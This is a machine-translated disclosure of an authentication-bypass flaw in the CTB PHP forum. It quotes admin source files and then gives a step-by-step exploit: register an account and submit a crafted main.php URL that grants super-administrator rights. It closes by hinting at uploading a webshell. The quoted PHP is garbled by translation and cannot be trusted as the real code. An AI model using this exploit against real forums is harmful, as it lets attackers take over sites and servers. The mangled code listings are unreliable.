>>>dedicated this scrap to caojing<<<
Version involved:
^^^^^^^
All current versions (1.3Alpha is now the highest version)
Describe:
^^^^^^
CTB is a PHP forum that is open to source code developed and maintained by Easy digital <11cn.org>;. Because of its defects in background management file validation, it may lead to illegal users to add the Forum Super Administrator directly, thereby threatening the forum or server security.
Specific:
^^^^
CTB writing is very normative, code orderly, pleasing, is indeed a graceful program, especially its functional modules, really let the younger brother learned a. But the security side is worrying:
Look at the following code:
/admin/main.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Get a Get variable
if (Is_array ($_get)) {
foreach ($_get as $k = = $v) {
if (Is_array ($_get[$k])) {
foreach ($_get[$k] as $k 2=> $v 2) {
$return [$k] [$k 2] = $v 2;
}
} else {
$return [$k] = $v;
}
}
}
...
$mod = isset ($_get[' mod ')? $_get[' mod ': $_post[' mod ');
if (!file_exists ($mod. "). PHP "{
$mod = "Mainright";
}
Require_once ($mod. ". PHP ";
//-----------------------------------------------------------------------------
Initializing class variables
$CTB = new Module;
$CTB->set = $set;
$CTB->tplpath = "./templates";
$CTB->input = $return;
$CTB->sess = isset ($_cookie["Sess_adminname"])? $_cookie: $_session;
$CTB->execute ();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There is no validation here, let's look at adding the administrator's files:
/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Class Module extends Commonclass
System Management Module sub-class
{
function Execute () {
Switch ($this->input[' action ']) {
...
Case ' Addsystemuser ':
$this->addsystemuser ();
Break
...
}
}
function Addsystemuser ()
{
Simple formatting of input data
$this->inputcheck ("Main.php?mod=systemuser&action=showsystemuser";
To perform an add operation
$this->file = ". /". $this->set[datapath]." /users/list.php ";
$systemLine = $this->select (4, $this->input[' systemusername '));
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Still no verification, all the way to the smooth Ah!
How to use:
^^^^^^^
Register a user first:
Login Id:cat
User name: Dog
Password: ilikecat
Duplicate Password: ilikecat
Mailbox: cat@dog.com
Then submit the following URL:
Http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action =addsystemuser
Haha, you are now a super administrator, do not believe? Submit the following URL background login:
Http://www.psych.com/ctb/admin/main.php?mod=login
Management Name: Cat
Admin Password: ilikecat
Hey... It was a real success!
Do you want to change the background upload file type now, and then upload Webshell? Hmm, I guessed it ...
PostScript: Also found CTB code comment some glaring typos, blot, hope can be amended together.
http://www.bkjia.com/PHPjc/314678.html www.bkjia.com true http://www.bkjia.com/PHPjc/314678.html techarticle dedicatedthisscraptocaojing related to version: ^^ ^^ ^^ ^ All current versions (now 1.3Alpha is the highest version) Description: ^^ ^^ CTB is an easy digital 11cn.org; development and maintenance of the source generation ...
